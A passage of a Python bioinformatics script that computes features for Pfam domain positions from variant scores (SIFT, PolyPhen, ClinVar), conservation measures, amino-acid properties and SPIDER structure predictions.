0\n sift_tolerated_num = 0\n sift_ratio = 1\n sift_majority = sift_codes.SIFT_TIE.value\n\n return {\n 'sift_avg': sift_avg,\n 'sift_avg_weighted': sift_w_avg,\n 'sift_deleterious_num': sift_deleterious_num,\n 'sift_tolerated_num': sift_tolerated_num,\n 'sift_ratio': sift_ratio,\n 'sift_majority': sift_majority\n }\n\n\ndef PolyPhen_features(polyphen_scores_list, polyphen_pred_list, weighted_polyphen_scores_list):\n if len(polyphen_scores_list) > 0:\n # Feature: PolyPhen average\n polyphen_avg = np.mean(polyphen_scores_list)\n\n # Feature: weighted (by frequency) PolyPhen average\n polyphen_w_avg = np.mean(weighted_polyphen_scores_list)\n\n # Feature: polyPhen number of benign\n polyphen_benign_num = polyphen_pred_list.count(\"benign\")\n\n # Feature: polyPhen number of possibly_damaging\n polyphen_possibly_num = polyphen_pred_list.count(\"possibly_damaging\")\n\n # Feature: polyPhen number of probably_damaging\n polyphen_probably_num = polyphen_pred_list.count(\"probably_damaging\")\n\n # Feature: polyPhen \"majority-decision\" (benign/possibly_damaging/probably_damaging/unknown)\n if ((polyphen_benign_num > polyphen_probably_num and polyphen_benign_num > polyphen_possibly_num) or\n (polyphen_benign_num > polyphen_probably_num and polyphen_benign_num == polyphen_possibly_num)):\n polyphen_majority = polyphen_codes.POLYPHEN_BENIGN.value\n\n elif ((polyphen_probably_num > polyphen_benign_num and polyphen_probably_num > polyphen_possibly_num) or\n (polyphen_probably_num > polyphen_benign_num and polyphen_probably_num == polyphen_possibly_num)):\n polyphen_majority = polyphen_codes.POLYPHEN_PROBABLY.value\n\n elif polyphen_possibly_num > polyphen_benign_num and polyphen_possibly_num > polyphen_probably_num:\n polyphen_majority = polyphen_codes.POLYPHEN_POSSIBLY.value\n\n elif polyphen_benign_num == polyphen_probably_num == polyphen_possibly_num:\n polyphen_majority = polyphen_codes.PLOYPHEN_EQUAL.value\n\n else:\n polyphen_majority = polyphen_codes.POLYPHEN_UNKNOWN.value\n\n else:\n polyphen_avg = polyphen_w_avg = -1\n polyphen_benign_num = 0\n polyphen_possibly_num = 0\n polyphen_probably_num = 0\n polyphen_majority = polyphen_codes.POLYPHEN_UNKNOWN.value\n\n return {\n 'polyphen_avg': polyphen_avg,\n 'polyphen_avg_weighted': polyphen_w_avg,\n 'polyphen_benign_num': polyphen_benign_num,\n 'polyphen_possibly_num': polyphen_possibly_num,\n 'polyphen_probably_num': polyphen_probably_num,\n 'polyphen_majority': polyphen_majority\n }\n\n\ndef ClinVar_scores(clinsig_list, clinsig_af):\n valid_scores = []\n valid_scores_weighted = []\n\n for i in range(len(clinsig_list)):\n sig = clinsig_list[i]\n sig_list = pd.Series(sig.split(\"&\")).unique().tolist()\n # Skipping\n if \"not\" in sig_list or \"\" in sig_list:\n continue\n\n # Determine the alteration clinvar score\n if len(sig_list) == 1 and sig_list[0] == \"pathogenic\":\n score = clinvar_codes.CLINVAR_PATHOGENIC.value\n elif len(sig_list) == 1 and sig_list[0] == \"benign\":\n score = clinvar_codes.CLINVAR_BENIGN.value\n elif len(sig_list) == 2 and \"benign\" in sig_list and \"likely\" in sig_list:\n score = clinvar_codes.CLINVAR_LIKELY_BENIGN.value\n elif len(sig_list) == 2 and \"pathogenic\" in sig_list and \"uncertain\" in sig_list:\n score = clinvar_codes.CLINVAR_LIKELY_PATHOGENIC.value\n elif len(sig_list) == 2 and \"pathogenic\" in sig_list and \"other\" in sig_list:\n score = clinvar_codes.CLINVAR_PATHOGENIC_OTHER.value\n else:\n score = clinvar_codes.CLINVAR_UNCERTAIN.value # value of 0\n\n valid_scores.append(score)\n score_af = clinsig_af[i]\n valid_scores_weighted.append(score * score_af)\n\n # ===Feature: Avg. and weighted avg. ClinVar score===#\n if len(valid_scores) == 0:\n avg_clinvar_score = 0\n avg_w_clinvar_score = 0\n else:\n avg_clinvar_score = np.mean(valid_scores)\n avg_w_clinvar_score = np.mean(valid_scores_weighted)\n\n return {\n 'avg_clinvar_score': avg_clinvar_score,\n 'avg_clinvar_weighted': avg_w_clinvar_score\n }\n\n\ndef entropy_features(maf_list):\n # Calculates a normalized Shannon entropy (from Miller et al, 2015) of nonsyn SNPs distributed across instances\n maf = np.array(maf_list)\n if np.sum(maf) == 0:\n # if no SNPs- each instance has the prob. = max. entropy ln(n)\n e = np.log(len(maf))\n else:\n # Filter out nans; scipy.stats.entropy automatically normalizes the input\n # We divide the result by ln(|x|) to account for different sized inputs\n e = entropy(maf[~np.isnan(maf)]) / np.log(len(maf))\n\n return {'snp_nonsyn_entropy': e}\n\n\ndef pseudo_dNdS_features(ref_seq, Nd, Sd):\n N, S = seq_ns(ref_seq) # Reference expected syn/nonsyn per site\n PN = 0 if N == 0 else Nd / float(N) # Proportion of nonsyn\n PS = 0 if S == 0 else Sd / float(S) # Proportion of syn\n\n # num of nonsyn substitutions per nonsyn site\n dN = -0.75 * (np.log(1 - 4 * PN / float(3)))\n\n # num of syn substitutions per syn site\n if 4 * PS / float(3) >= 1:\n dS = 1\n else:\n dS = -0.75 * (np.log(1 - 4 * PS / float(3)))\n\n if dN == 0 or dS == 0:\n dN_dS = 1 # There isn't enough information to calculate dN/dS (1 is a neutral value)\n else:\n dN_dS = dN / dS\n if dN_dS == np.nan:\n dN_dS = 1 # There isn't enough information to calculate dN/dS (1 is a neutral value)\n\n return {\n 'pseudo_nonsyn': dN,\n 'pseudo_syn': dS,\n 'pseudo_dNdS': dN_dS\n }\n\n\ndef pfam_emission_prob_features(hmm_prob_dict, state):\n # Max. emission probability + emission prob. for each amino acid\n probs = hmm_prob_dict[state]\n d = {'pfam_prob_max': max(probs)}\n d.update({f'pfam_prob_{pfam_aa_order[i]}': prob for i, prob in enumerate(probs)})\n return d\n\n\ndef pfam_conserved_state_feature(state, con_states_dict):\n # is state is conserved according to Pfam?\n return {'is_pfam_conserved': state in con_states_dict}\n\n\ndef instance_individuals_100way_change_features(maf_list, aa_ref_hist, jsd100way_list):\n\n # Computing Orthologus conservation in different ways (from 100way-ucsc alignment)\n # Computing Paralogus conservartion in different ways (from different instances)\n # Combining both to measurments that maximize ortho. con. and minimize para. con.\n\n ## Paralogus ##\n\n # fraction of change across instances\n\n # determine majority aa (index of one of the majority)\n minor_counts = 0\n max_pos = aa_ref_hist.index(max(aa_ref_hist))\n for i in range(len(aa_ref_hist)):\n if i == max_pos:\n continue\n minor_counts += aa_ref_hist[i]\n\n instances_change_frac = minor_counts / float(np.sum(aa_ref_hist))\n\n # Feature: entropy of ref AA\n aa_ref_entropy = SE_hist(aa_ref_hist)\n\n # JSD of ref AA\n aa_ref_jsd = JSD_hist(aa_ref_hist, background=JSD_background.BLOSUM62)\n\n ## Orthologus ##\n\n # first remove -1 illegal scores of JSD mismatch (positions where JSD alignment didn't match, I added -1):\n jsd100way_list_no_mismatch = [i for i in jsd100way_list if i != -1]\n\n # median JSD score across 100way vertbrates\n med_jsd = 0 if len(jsd100way_list_no_mismatch) == 0 else np.median(jsd100way_list_no_mismatch)\n\n # Histogram of JSD score across 100way vertebrates\n jsd_median_bins = [0, 0.5, 0.6, 0.7, 0.8, 1]\n jsd_median_hist = np.histogram(jsd100way_list_no_mismatch, bins=jsd_median_bins)[0]\n\n # Functional measurements of both\n # ratio: change across instances / change across individuals(MAF)\n\n # low MAF (orthologues), high instances change (paralogous) = SDPs\n if np.sum(maf_list) == 0:\n avg_maf_overall = 0.0000001 # set the minimal non-zero in our data\n else:\n avg_maf_overall = np.sum(maf_list) / float(len(maf_list))\n\n max_entropy = SE_hist([0] * len(AMINO_ACIDS))\n\n return dict(\n [\n ('instances_change_frac', instances_change_frac),\n ('aa_ref_SE', aa_ref_entropy),\n ('aa_ref_jsd', aa_ref_jsd),\n ('med_jsd_100way_blosum', med_jsd)\n ] +\n [\n (f'jsd_median_hist_{jsd_median_bins[i]}-{jsd_median_bins[i + 1]}', jsd_median_hist[i])\n for i in range(len(jsd_median_bins) - 1)\n ] +\n [\n ('instances_individuals_change_ratio', instances_change_frac / float(avg_maf_overall)),\n\n # high JSD (orthologues), high instances change (paralogous) = SDPs\n # we want high MAF -> small 1 - MAF, high JSD\n ('jsd_100way_instances_major_ratio', med_jsd / float(1 - instances_change_frac)),\n\n # high JSD (orthologues), high shannon entropy (paralogous) = SDPs\n ('jsd_mul_aa_ref_SE', med_jsd * aa_ref_entropy),\n\n # high JSD (orthologues), low diff. of max SE to shannon entropy (paralogous) = SDPs\n ('jsd_SE_diff_ratio', med_jsd / float(max_entropy - aa_ref_entropy)),\n\n # high JSD (orthologues), high shannon entropy (paralogous) = SDPs\n ('jsd_SE_sum', med_jsd + (aa_ref_entropy / float(max_entropy))),\n\n # high shannon entropy (paralogous), low diff. of max JSD to avg JSD (orthologues) = SDPs\n ('SE_jsd_diff_ratio', aa_ref_entropy / float(1 - med_jsd)),\n\n # high JSD (orthologues), low JSD (paralogoues) = SDPs\n ('jsds_ratio', med_jsd / float(aa_ref_jsd)),\n\n # high difference between orthoulogus (more conserved) and paralogous (less conserved)\n ('jsds_subtraction', med_jsd - aa_ref_jsd)\n ]\n\n )\n\n\ndef aa_identity_features(aa_ref_hist, type_str):\n # aa identity histogram and probability\n if np.sum(aa_ref_hist) == 0:\n aa_ref_prob = aa_ref_hist\n else:\n aa_ref_prob = np.asarray(aa_ref_hist) / float(np.sum(aa_ref_hist))\n\n d = {f'{type_str}_hist_{aa}': aa_ref_hist_i for aa, aa_ref_hist_i in zip(AMINO_ACIDS, aa_ref_hist)}\n d.update({f'{type_str}_prob_{aa}': aa_ref_prob_i for aa, aa_ref_prob_i in zip(AMINO_ACIDS, aa_ref_prob)})\n return d\n\n\ndef major_allele_charge(aa_ref_hist):\n # ===Feature: major allele aa charge counts===#\n charge_positive_count = charge_negative_count = charge_neutral_count = 0\n for i in range(len(AMINO_ACIDS)):\n aa_count = aa_ref_hist[i]\n if aa_count > 0:\n charge = aa_charge_dict[AMINO_ACIDS[i]]\n if charge.value == 0:\n charge_neutral_count += aa_count\n elif charge.value == 1:\n charge_positive_count += aa_count\n else:\n charge_negative_count += aa_count\n\n # ===Feature: major allele majority charge===#\n charge_majority = aa_charge.NEUTRAL.value\n if charge_positive_count > charge_neutral_count and charge_positive_count > charge_negative_count:\n charge_majority = aa_charge.POSITIVE.value\n elif charge_negative_count > charge_neutral_count and charge_negative_count > charge_positive_count:\n charge_majority = aa_charge.NEGATIVE.value\n\n return {\n 'aa_ref_charge_positive_count': charge_positive_count,\n 'aa_ref_charge_negative_count': charge_negative_count,\n 'aa_ref_charge_neutral_count': charge_neutral_count,\n 'aa_ref_charge_majority': charge_majority\n }\n\n\ndef major_allele_functional_group(aa_ref_hist):\n # major allele aa functional group counts\n func_counters = [0] * (len(aa_functional_group) - 1) # Major allele is never a stop codon\n for i in range(len(AMINO_ACIDS)):\n aa_count = aa_ref_hist[i]\n if aa_count > 0:\n func_group_num = aa_functional_group_dict[\n AMINO_ACIDS[i]].value # getting numeric functional group value\n if func_group_num == aa_functional_group.STOP.value: # Major allele is never a stop codon\n continue\n func_counters[func_group_num] += aa_count\n\n return {\n k: v for k, v in zip(\n [f'aa_ref_{group}_count' for group in aa_functional_group if group != aa_functional_group.STOP],\n func_counters\n )\n }\n\n\ndef sub_diff_functional_group(ref_alt_pairs):\n # ===Features: count and frequency staying in functional group Vs. moving to other group===#\n stay_cnt = stay_cnt_freq = move_cnt = move_cnt_freq = 0\n\n for (ref, alt, af) in ref_alt_pairs:\n ref_func_group = aa_functional_group_dict[ref].value\n alt_func_group = aa_functional_group_dict[alt].value\n if ref_func_group == alt_func_group:\n stay_cnt += 1\n stay_cnt_freq += af\n else:\n move_cnt += 1\n move_cnt_freq += af\n\n # ===Features: functional groups transitions counts===#\n transitions_vec_size = (len(aa_functional_group) - 1) * len(\n aa_functional_group) # excluding transitions from STOP codons\n transitions_vec = [0] * transitions_vec_size\n\n for (ref, alt, af) in ref_alt_pairs:\n ref_func_group = aa_functional_group_dict[ref].value\n alt_func_group = aa_functional_group_dict[alt].value\n # Calculate counter position on the vector (ref_func_group is never STOP = 5)\n trans_vec_i = ref_func_group * (len(aa_functional_group) - 1)\n trans_vec_i += alt_func_group\n transitions_vec[trans_vec_i] += 1\n\n keys = [f'sub_func_group_trans_{i}-{j}' for i in range(len(aa_functional_group) - 1) for j in range(len(aa_functional_group))]\n\n return dict([\n ('sub_func_group_stay_cnt', stay_cnt),\n ('sub_func_group_stay_freq', stay_cnt_freq),\n ('sub_func_group_move_cnt', move_cnt),\n ('sub_func_group_move_freq', move_cnt_freq)\n ] + [(k, v) for k, v in zip(keys, transitions_vec)])\n\n\ndef major_allele_hydrophobicity(aa_ref_hist):\n # major allele hydrophicity average, hydrophobic and polar counts\n h_sum = h_cnt = hydrophobic_cnt = polar_charge_cnt = 0\n for i in range(len(AMINO_ACIDS)):\n aa_count = aa_ref_hist[i]\n if aa_count > 0:\n hindex = kd.get(AMINO_ACIDS[i], 0)\n h_sum += hindex * aa_count\n h_cnt += aa_count\n\n if hindex > 0:\n hydrophobic_cnt += aa_count\n else:\n polar_charge_cnt += aa_count\n\n h_avg = 0 if h_cnt == 0 else h_sum / float(h_cnt)\n\n return {\n 'hindex_avg': h_avg,\n 'hindex_pos_cnt': hydrophobic_cnt,\n 'hindex_neg_cnt': polar_charge_cnt\n }\n\n\ndef sub_diff_hydrophobicity(ref_alt_pairs):\n # hydrophicity difference average and weighted average\n hindex_diff_sum = hindex_diff_sum_weighted = hindex_diff_cnt = 0\n for (ref, alt, af) in ref_alt_pairs:\n hindex_diff = kd.get(alt, 0) - kd.get(ref, 0)\n hindex_diff_sum += hindex_diff\n hindex_diff_sum_weighted += hindex_diff * af\n hindex_diff_cnt += 1\n\n if hindex_diff_cnt == 0:\n hindex_diff_avg = hindex_diff_avg_weighted = 0\n else:\n hindex_diff_avg = hindex_diff_sum / float(hindex_diff_cnt)\n hindex_diff_avg_weighted = hindex_diff_sum_weighted / float(hindex_diff_cnt)\n\n return {\n 'sub_diff_hindex_avg': hindex_diff_avg,\n 'sub_diff_hindex_avg_weighted': hindex_diff_avg_weighted\n }\n\n\ndef major_allele_volume(aa_ref_hist):\n # major allele volume average, tiny, small and big counts\n vol_sum = vol_cnt = tiny_cnt = small_cnt = big_cnt = 0\n for i in range(len(AMINO_ACIDS)):\n aa_count = aa_ref_hist[i]\n if aa_count > 0:\n volume = aa_volume[AMINO_ACIDS[i]]\n vol_sum += volume * aa_count\n vol_cnt += aa_count\n\n vol_group = aa_volume_group_dict[AMINO_ACIDS[i]]\n if vol_group == aa_volume_group.TINY:\n tiny_cnt += aa_count\n elif vol_group == aa_volume_group.SMALL:\n small_cnt += aa_count\n elif vol_group == aa_volume_group.BIG:\n big_cnt += aa_count\n\n vol_avg = 0 if vol_cnt == 0 else vol_sum / float(vol_cnt)\n\n return {\n 'vol_avg': vol_avg,\n 'vol_tiny_cnt': tiny_cnt,\n 'vol_small_cnt': small_cnt,\n 'vol_big_cnt': big_cnt\n }\n\n\ndef sub_diff_volume(ref_alt_pairs):\n # ===Feature: volume difference average and weighted average===#\n volume_diff_sum = 0\n volume_diff_sum_weighted = 0\n volume_diff_cnt = 0\n for (ref, alt, af) in ref_alt_pairs:\n ref_vol = aa_volume[ref]\n alt_vol = aa_volume[alt]\n vol_diff = (ref_vol - alt_vol)\n volume_diff_sum += vol_diff\n volume_diff_sum_weighted += vol_diff * af\n volume_diff_cnt += 1\n\n if volume_diff_cnt == 0:\n volume_diff_avg = volume_diff_avg_weighted = 0\n else:\n volume_diff_avg = volume_diff_sum / float(volume_diff_cnt)\n volume_diff_avg_weighted = volume_diff_sum_weighted / float(volume_diff_cnt)\n\n return {\n 'sub_diff_vol_avg': volume_diff_avg,\n 'sub_diff_vol_avg_weighted': volume_diff_avg_weighted\n }\n\n\ndef major_allele_propensity(aa_ref_hist):\n prop_sum = [0, 0, 0]\n prop_cnt = 0\n prop_majority_counts = [0, 0, 0]\n for i in range(len(AMINO_ACIDS)):\n aa_count = aa_ref_hist[i]\n if aa_count > 0:\n curr_prop = propensity_chou_fasman[AMINO_ACIDS[i]]\n mul_curr_prop = [x * aa_count for x in curr_prop]\n prop_sum = [sum(x) for x in zip(prop_sum, mul_curr_prop)]\n prop_cnt += aa_count\n\n if curr_prop[aa_propensity.ALPHA_HELIX.value] == max(curr_prop):\n prop_majority_counts[aa_propensity.ALPHA_HELIX.value] += 1\n if curr_prop[aa_propensity.BETA_SHEET.value] == max(curr_prop):\n prop_majority_counts[aa_propensity.BETA_SHEET.value] += 1\n if curr_prop[aa_propensity.TURN.value] == max(curr_prop):\n prop_majority_counts[aa_propensity.TURN.value] += 1\n\n # ===Feature: major allele propensity avgs===#\n if prop_cnt == 0:\n prop_avg = [0, 0, 0]\n else:\n prop_avg = [x / float(prop_cnt) for x in prop_sum]\n\n # ===Feature: major allele majority propensity===#\n max_idx = np.where(np.array(prop_majority_counts) == max(prop_majority_counts))[0]\n majority_vec = [0, 0, 0]\n for i in max_idx:\n majority_vec[i] = 1 # put 1 in the propensities that has max. count\n\n return {\n 'aa_ref_alpha_prop_avg': prop_avg[0],\n 'aa_ref_beta_prop_avg': prop_avg[1],\n 'aa_ref_turn_prop_avg': prop_avg[2],\n 'aa_ref_alpha_is_majority': majority_vec[0],\n 'aa_ref_beta_is_majority': majority_vec[1],\n 'aa_ref_turn_is_majority': majority_vec[2]\n }\n\n\ndef sub_diff_propensity(ref_alt_pairs):\n # ===Feature: propensity difference average===#\n prop_vec_sum = [0, 0, 0]\n prop_vec_sum_weighted = [0, 0, 0]\n prop_cnt = 0\n for (ref, alt, af) in ref_alt_pairs:\n ref_struct = propensity_chou_fasman[ref]\n alt_struct = propensity_chou_fasman[alt]\n prop_diff = [(x - y) for (x, y) in zip(ref_struct, alt_struct)]\n prop_diff_weighted = [(x - y) * af for (x, y) in zip(ref_struct, alt_struct)]\n prop_vec_sum = [(x + y) for (x, y) in zip(prop_vec_sum, prop_diff)]\n prop_vec_sum_weighted = [(x + y) for (x, y) in zip(prop_vec_sum_weighted, prop_diff_weighted)]\n\n prop_cnt += 1\n\n if prop_cnt == 0:\n prop_vec_avg = prop_vec_avg_weighted = [0, 0, 0]\n else:\n prop_vec_avg = [(x / float(prop_cnt)) for x in prop_vec_sum]\n prop_vec_avg_weighted = [(x / float(prop_cnt)) for x in prop_vec_sum_weighted]\n\n return {\n 'sub_diff_prop_avg_alpha': prop_vec_avg[0],\n 'sub_diff_prop_avg_beta': prop_vec_avg[1],\n 'sub_diff_prop_avg_turn': prop_vec_avg[2],\n 'sub_diff_prop_avg_alpha_weighed': prop_vec_avg_weighted[0],\n 'sub_diff_prop_avg_beta_weighed': prop_vec_avg_weighted[1],\n 'sub_diff_prop_avg_turn_weighed': prop_vec_avg_weighted[2]\n }\n\n\ndef major_allele_h_bonds(aa_ref_hist):\n # avg donor and acceptor H-bond potential\n donor_sum = acceptor_sum = bonds_cnt = 0\n for i in range(len(AMINO_ACIDS)):\n aa_count = aa_ref_hist[i]\n if aa_count > 0:\n donor_sum += (aa_h_bond_donor[AMINO_ACIDS[i]] * aa_count)\n acceptor_sum += (aa_h_bond_acceptor[AMINO_ACIDS[i]] * aa_count)\n bonds_cnt += aa_count\n\n if bonds_cnt == 0:\n donor_avg = 0\n acceptor_avg = 0\n else:\n donor_avg = donor_sum / float(bonds_cnt)\n acceptor_avg = acceptor_sum / float(bonds_cnt)\n\n return {\n 'H_bond_donor_avg': donor_avg,\n 'H_bond_acceptor_avg': acceptor_avg\n }\n\n\ndef sub_diff_h_bonds(ref_alt_pairs):\n # acceptor and donor diff average and weighted average\n donor_diff_sum = donor_diff_sum_weighted = acceptor_diff_sum = acceptor_diff_sum_weighted = diff_cnt = 0\n for (ref, alt, af) in ref_alt_pairs:\n donor_diff = aa_h_bond_donor[ref] - aa_h_bond_donor[alt]\n donor_diff_sum += donor_diff\n donor_diff_sum_weighted += donor_diff * af\n\n ref_acceptor = aa_h_bond_acceptor[ref]\n alt_acceptor = aa_h_bond_acceptor[alt]\n acceptor_diff = (ref_acceptor - alt_acceptor)\n acceptor_diff_sum += acceptor_diff\n acceptor_diff_sum += acceptor_diff * af\n\n diff_cnt += 1\n\n if diff_cnt == 0:\n donor_diff_avg = donor_diff_avg_weighted = 0\n acceptor_diff_avg = acceptor_diff_avg_weighted = 0\n else:\n donor_diff_avg = donor_diff_sum / float(diff_cnt)\n donor_diff_avg_weighted = donor_diff_sum_weighted / float(diff_cnt)\n acceptor_diff_avg = acceptor_diff_sum / float(diff_cnt)\n acceptor_diff_avg_weighted = acceptor_diff_sum_weighted / float(diff_cnt)\n\n return {\n 'donor_diff_avg': donor_diff_avg,\n 'donor_diff_avg_weighted': donor_diff_avg_weighted,\n 'acceptor_diff_avg': acceptor_diff_avg,\n 'acceptor_diff_avg_weighted': acceptor_diff_avg_weighted\n }\n\n\ndef spider_solvent_acc_pred(spider_dict):\n # Accessible Surface Area (solvent accessibility) mean/std\n return {\n 'solvent_acc_avg': np.nanmean(spider_dict[\"spider2-ASA\"]),\n 'solvent_acc_std': np.nanstd(spider_dict[\"spider2-ASA\"])\n }\n\n\ndef spider_contact_number_pred(spider_dict):\n return {\n 'hsa2_cn_avg': np.nanmean(spider_dict[\"spider2-hsa2_CN\"]), # contact number for Cα-Cα mean\n 'hsa2_cn_std': np.nanstd(spider_dict[\"spider2-hsa2_CN\"]), # contact number for Cα-Cα std\n 'hsb2_cn_avg': np.nanmean(spider_dict[\"spider2-hsb2_CN\"]), # contact number for Cα-Cβ mean\n 'hsb2_cn_std': np.nanstd(spider_dict[\"spider2-hsb2_CN\"]) # contact number for Cα-Cβ std\n }\n\n\ndef spider_angles_pred(spider_dict):\n return {\n 'backbone_Phi_angle_avg': np.nanmean(spider_dict[\"spider2-angle_Phi\"]), # backbone Phi angle mean\n 'backbone_Phi_angle_std': np.nanstd(spider_dict[\"spider2-angle_Phi\"]), # backbone Phi angle std\n 'backbone_Psi_angle_avg': np.nanmean(spider_dict[\"spider2-angle_Psi\"]), # backbone Psi angle mean\n 'backbone_Psi_angle_std': np.nanstd(spider_dict[\"spider2-angle_Psi\"]), # backbone Psi angle std\n 'c-alpha_tau_angle_avg': np.nanmean(spider_dict[\"spider2-angle_tau\"]), # c-alpha angle (i-2=>i+1) mean\n 'c-alph_tau_angle_std': np.nanstd(spider_dict[\"spider2-angle_tau\"]), # c-alpha angle (i-2=>i+1) std\n 'c-alpha_theta_angle_avg': np.nanmean(spider_dict[\"spider2-angle_theta\"]), # c-alpha angle (i-1=>i+1) mean\n 'c-alph_theta_angle_std': np.nanstd(spider_dict[\"spider2-angle_theta\"]) # c-alpha angle (i-1=>i+1) std\n }\n\n\ndef spider_struct_pred(spider_dict):\n\n # major allele majority propensity\n values, counts = np.unique(np.array(spider_dict[\"spider2-2nd_struct\"]), return_counts=True)\n\n # Note: An earlier iteration of the code returned all 3 spd_*_is_majority keys as 1s\n # in the absence of any spider 2nd struct infomation, while at the same time returning all the\n # *_prob_avg/std keys as nans\n # We follow the same logic here by setting the major allele (which would normally be one of H/E/C as HEC\n # in case of missing information.\n # Note also that we cannot use np.argmax since it only returns a 'single' index\n maj_allele = 'HEC' if len(counts) == 0 else values[np.where(counts == np.max(counts))]\n\n return {\n 'helix_prob_avg': np.nanmean(spider_dict[\"spider2-helix_prob\"]), # helix prob. mean\n 'helix_prob_std': np.nanstd(spider_dict[\"spider2-helix_prob\"]), # helix prob. std\n 'sheet_prob_avg': np.nanmean(spider_dict[\"spider2-sheet_prob\"]), # sheet prob. mean\n 'sheet_prob_std': np.nanstd(spider_dict[\"spider2-sheet_prob\"]), # sheet prob. std\n 'turn_prob_avg': np.nanmean(spider_dict[\"spider2-turn_prob\"]), # turn prob. mean\n 'turn_prob_std': np.nanstd(spider_dict[\"spider2-turn_prob\"]), # turn prob. std\n 'spd_helix_is_majority': int('H' in maj_allele), # 0/1\n 'spd_sheet_is_majority': int('E' in maj_allele), # 0/1\n 'spd_turn_is_majority': int('C' in maj_allele) # 0/1\n }\n\n\ndef spider_half_sphere_exposure_pred(spider_dict):\n return {\n 'hsa2_HSE-up_avg': np.mean(spider_dict[\"spider2-hsa2_HSEu\"]),\n 'hsa2_HSE-up_std': np.std(spider_dict[\"spider2-hsa2_HSEu\"]),\n 'hsa2_HSE-down_avg': np.mean(spider_dict[\"spider2-hsa2_HSEu\"]), # TODO: should be HSEd, bug?\n 'hsa2_HSE-down_std': np.std(spider_dict[\"spider2-hsa2_HSEd\"]),\n 'hsb2_HSE-up_avg': np.mean(spider_dict[\"spider2-hsb2_HSEu\"]),\n 'hsb2_HSE-up_std': np.std(spider_dict[\"spider2-hsb2_HSEu\"]),\n 'hsb2_HSE-down_avg': np.mean(spider_dict[\"spider2-hsb2_HSEd\"]),\n 'hsb2_HSE-down_std': np.std(spider_dict[\"spider2-hsb2_HSEd\"])\n }\n\n\ndef whole_domain_conservation(states_dict):\n # phastCons and PhyloP whole-domain mean/std\n return {\n 'whole_domain_phastCons_avg': states_dict[\"_phastCons_mean\"],\n 'whole_domain_phastCons_std': states_dict[\"_phastCons_std\"],\n 'whole_domain_phyloP_avg': states_dict[\"_phyloP_mean\"],\n 'whole_domain_phyloP_std': states_dict[\"_phyloP_std\"]\n }\n\n\ndef domain_location_features(state, max_state):\n\n # ===Feature: the location in the domain: beginning/middle/end===#\n location_list = [0, 0, 0]\n BEGIN_POS = 0\n MIDDLE_POS = 1\n END_POS = 2\n domain_location_bins = np.histogram(np.arange(1, max_state), bins=3)[1]\n if state < domain_location_bins[1]:\n location_list[BEGIN_POS] = 1\n elif state > domain_location_bins[2]:\n location_list[END_POS] = 1\n else:\n location_list[MIDDLE_POS] = 1\n\n return {\n 'domain_pos': state,\n 'domain_length': max_state,\n 'domain_pos_location_begin': location_list[0],\n 'domain_pos_location_middle': location_list[1],\n 'domain_pos_location_end': location_list[2]\n }\n\n\ndef protein_location_features(protein_pos_list, protein_len_list):\n # Avg. protein total length, counts of the location in the protein: beginning/middle/end\n location_list = [0, 0, 0]\n BEGIN_POS = 0\n MIDDLE_POS = 1\n END_POS = 2\n for i in range(len(protein_pos_list)):\n prot_location_bins = np.histogram(np.arange(1, protein_len_list[i]), bins=3)[1]\n if protein_pos_list[i] < prot_location_bins[1]:\n location_list[BEGIN_POS] += 1\n elif protein_pos_list[i] > prot_location_bins[2]:\n location_list[END_POS] += 1\n else:\n location_list[MIDDLE_POS] += 1\n\n # Normalize to ratios\n location_list_norm = np.array(location_list) / sum(location_list)\n\n return {\n 'prot_avg_length': np.mean(protein_len_list),\n 'prot_pos_location_begin': location_list_norm[0],\n 'prot_pos_location_middle': location_list_norm[1],\n 'prot_pos_location_end': location_list_norm[2]\n }\n\n\nif __name__ == '__main__':\n\n with open(os.path.join(os.path.dirname(data.__file__), 'BLOSUM62_dict.pik'), 'rb') as f:\n blosum62_dict = pickle.load(f)\n\n with open(os.path.join(os.path.dirname(data.__file__), 'PAM40_dict.pik'), 'rb') as f:\n pam40_dict = pickle.load(f)\n\n with open(PROB_DICT, 'rb') as f:\n prob_dict = pickle.load(f)\n\n features_list = []\n an_str = POPULATIONS_ANS\n ac_str = POPULATIONS_ACS\n\n for pik in glob.glob(f'{HMM_STATES_FOLDER}/*.pik'):\n domain = os.path.splitext(os.path.basename(pik))[0]\n\n\n hmm_prob_dict = prob_dict[domain]\n\n with open(pik, 'rb') as handle:\n states_dict = pickle.load(handle)\n\n # Create af_adj flat dict\n states_af_adj_dict = defaultdict(list)\n for state in states_dict.keys():\n if str(state).startswith('_'): continue\n for d in states_dict[state]:\n states_af_adj_dict[state].append(d[\"af_adj\"])\n\n # scale the af_dict\n states_MAF_adj_dict_scaled = defaultdict(list)\n for state in states_dict.keys():\n if str(state).startswith('_'): continue\n state_len = len(states_dict[state])\n for d in states_dict[state]:\n states_MAF_adj_dict_scaled[state].append(float(d[\"af_adj\"] / state_len))\n\n # Create a dict of conserved states\n con_states_dict = {}\n con_threshold = 0.5\n for state in hmm_prob_dict:\n prob_list = hmm_prob_dict[state]\n for i in range(len(prob_list)):\n p = prob_list[i]\n if p > con_threshold:\n major_allele = pfam_aa_order[i]\n con_states_dict[state] = major_allele\n\n # Adding states features\n for state in states_dict:\n\n features_dict = {}\n\n if str(state).startswith('_'): continue\n state_id = domain + \"_\" + str(state)\n\n # Init counters & paramters\n maf_list = []\n sites_aa_alter_num = 0\n sites_snp_alter_num = 0\n sites_aa_num = len(states_dict[state])\n sites_snp_num = 3 * sites_aa_num\n sites_poly_aa_num = 0 # The number of different aa in all the altered sites (most are 1)\n sites_poly_aa_several = 0\n\n # Rare-poly-counters\n rare_5_num = 0\n rare_05_num = 0\n rare_005_num = 0\n\n # Conservation params\n phastCons_dict = defaultdict(list)\n phyloP_dict = defaultdict(list)\n jsd100way_list = []\n\n # SPIDER params\n spider_dict = defaultdict(list)\n\n # BLOSUM62_params\n blosum62_list = []\n weigted_blosum62_list = []\n\n # PAM40_params\n pam40_list = []\n weigted_pam40_list = []\n\n # dn/ds counters and variables\n ref_seq = \"\"\n Nd = 0\n Sd = 0\n\n # SIFT params\n sift_scores_list = []\n weighted_sift_scores_list = []\n\n # PolyPhen params\n polyphen_scores_list = []\n weighted_polyphen_scores_list = []\n polyphen_pred_list = []\n\n # clinVar params\n clinsig_list = []\n clinsig_af = []\n\n # Major allele params\n aa_ref_hist = [0] * len(AMINO_ACIDS)\n\n # Substitution params\n aa_alt_hist = [0] * len(AMINO_ACIDS)\n aa_alt_prob = [0] * len(AMINO_ACIDS)\n aa_alt_prob_avg = [0] * len(AMINO_ACIDS)\n ref_alt_pairs = []\n\n # protein position params\n protein_pos_list = []\n protein_len_list = []\n\n # Populations variables\n ac_sum = [0] * 